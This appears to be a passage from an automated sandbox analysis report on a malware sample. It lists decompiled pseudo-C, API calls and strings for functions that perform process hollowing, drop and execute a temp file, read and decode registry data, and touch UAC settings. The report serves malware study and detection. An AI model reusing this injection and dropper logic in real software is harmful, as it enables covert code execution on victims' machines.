GetProcAddress.KERNEL32(00000000,004103F0), ref: 006C2FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 006C2FE9
RtlAllocateHeap.NTDLL(00000000), ref: 006C2FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 006C301B

Strings

dnsapi.dll, xrefs: 006C2F79

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: 0a88e6aa3eac683c2ef3a7e0ce1950b8b8fdf15d64584e3aa72ccb54c26710ff
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: D221747294162ABBCB219B54DC45EFEBBBEEF18B50F108069F905E7210D7B09A8187D4

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 006C6F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\vtqrbmxo,006C702C), ref: 006C6F37
GetProcAddress.KERNEL32(00000000), ref: 006C6F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 006C6F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 006C6F7B

Strings

\\.\pipe\vtqrbmxo, xrefs: 006C6F20
C:\Windows\SysWOW64\, xrefs: 006C6F19, 006C6F21, 006C6F4E, 006C6F55, 006C6F63, 006C6F6E, 006C6F7A, 006C6F92, 006C6FAF, 006C6FD5
PromptOnSecureDesktop, xrefs: 006C6F86, 006C6FA8, 006C6FB8, 006C6FCE, 006C6FDE

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\vtqrbmxo
API String ID: 1082366364-1251786872
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: a87ba8e325457827fbed1a76fbb2eca4d790f8c1f703dfaf4f05d97f66b48ba9
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 6B2138617453407AF7326721AC89FFB2E4FCB52710F0840ADF804E6291CAD9C8E582BD

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 006C92B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 006C92CB
wsprintfA.USER32 ref: 006C9339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 006C935E
lstrlen.KERNEL32(?,?,00000000), ref: 006C9372
WriteFile.KERNEL32(00000000,?,00000000), ref: 006C937D
CloseHandle.KERNEL32(00000000), ref: 006C9384

Strings

PromptOnSecureDesktop, xrefs: 006C9314, 006C932C, 006C9347

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: eb099e542b1de14c8b7c4f2030b5106df07c0007350b240587820ecc059a3ae4
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: A01175B26401147BE7646765EC0AFFF3A7EDBC9B00F00806DBB09E5091EEB54E558668

Uniqueness

Uniqueness Score: -1.00%

Function 006C99CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 006C9A01
GetThreadContext.KERNEL32(?,?), ref: 006C9A3B
TerminateProcess.KERNEL32(?,00000000), ref: 006C9A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 006C9A81
SetThreadContext.KERNEL32(?,00010002), ref: 006C9A9E
ResumeThread.KERNEL32(?), ref: 006C9AAB

Strings

D, xrefs: 006C99F9

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: f1f36ec0433e022d1d6e2ed40bd93eeb547aa871cf4a2927f7a8792a1aa690f8
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 76216BB1901119BBDB11DBE1DC09FEF7BBDEF09750F004065BA09E1150EB71CA44CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

Mt, xrefs: 0040915F
PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop$Mt
API String ID: 3857584221-2742646591
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 006C1BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 006C1C01
LoadLibraryA.KERNEL32(004102C8), ref: 006C1C0F
GetProcessHeap.KERNEL32 ref: 006C1C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 006C1C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 006C1CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 006C1CEB
FreeLibrary.KERNEL32(?), ref: 006C1CF4

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: 4691af55ea35d512a9d2eb67d8576d73ba895332c4d0e9da6344850621e8cfb7
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: 71316D31900219AFCB119FE4DC88DFEBBBAEF47301B24407AF502A6211D7B45E81DB94

Uniqueness

Uniqueness Score: -1.00%

Function 006CC52C, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CC69D
InterlockedIncrement.KERNEL32(006CC734), ref: 006CC6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,006CC730), ref: 006CC711
CloseHandle.KERNEL32(00000000,?,006CC730,00413588,006C8A60), ref: 006CC71C

Strings

localcfg, xrefs: 006CC52D
0t, xrefs: 006CC545, 006CC69D

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: 0t$localcfg
API String ID: 1026198776-1645711936
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 9f6c8c05ae3e2e679242cd655bbfd93fd294b6cd16615c3c9457bf0f1fbd463f
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: AC5160B1A00B418FC7649F6AC6D5A26F7EAFB48310B50593EE18BC7A90D774F840CB10

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 006C6CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 006C6CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 006C6D0B
GetLastError.KERNEL32 ref: 006C6D90
CloseHandle.KERNEL32(?), ref: 006C6D9E
GetLastError.KERNEL32 ref: 006C6DBF
DeleteFileA.KERNEL32(?), ref: 006C6DD0
GetLastError.KERNEL32 ref: 006C6DE6

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 645bfe9aaaf56bc38358c90615ebe08b2291ad1b834cf50533519ed1aeeeb109
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: EF31E072A00149BFCB11EFA4DD45FEE7FBAEF48310F148469F252E3251D670AA458B68

Uniqueness

Uniqueness Score: -1.00%

Function 004350B7, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435118
__aullrem.LIBCMT ref: 004352E5
__aulldiv.LIBCMT ref: 00435307

Strings

0, xrefs: 004350D3
', xrefs: 004350B7
9, xrefs: 00435318

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction ID: 9d3ac0fe46e7b14a4a78f67815e9c993f2cd1578fea0c7ab113668a0723eabfc
Opcode Fuzzy Hash: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction Fuzzy Hash: 514116B1D05629CFDF24CF88C889BAEB7B5BB48304F2495DAD408A7240C7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00427CE8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427D49
__aullrem.LIBCMT ref: 00427F16
__aulldiv.LIBCMT ref: 00427F38

Strings

', xrefs: 00427CE8
9, xrefs: 00427F49
0, xrefs: 00427D04

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction ID: aca8480c253a4f841e09cd071730fff7f1546638208b72cc29bdef0aca0c248d
Opcode Fuzzy Hash: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction Fuzzy Hash: C14104B1E082298FDB64DF48D989BEEB7B5BF84304F5445DAE009AB241C7389E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

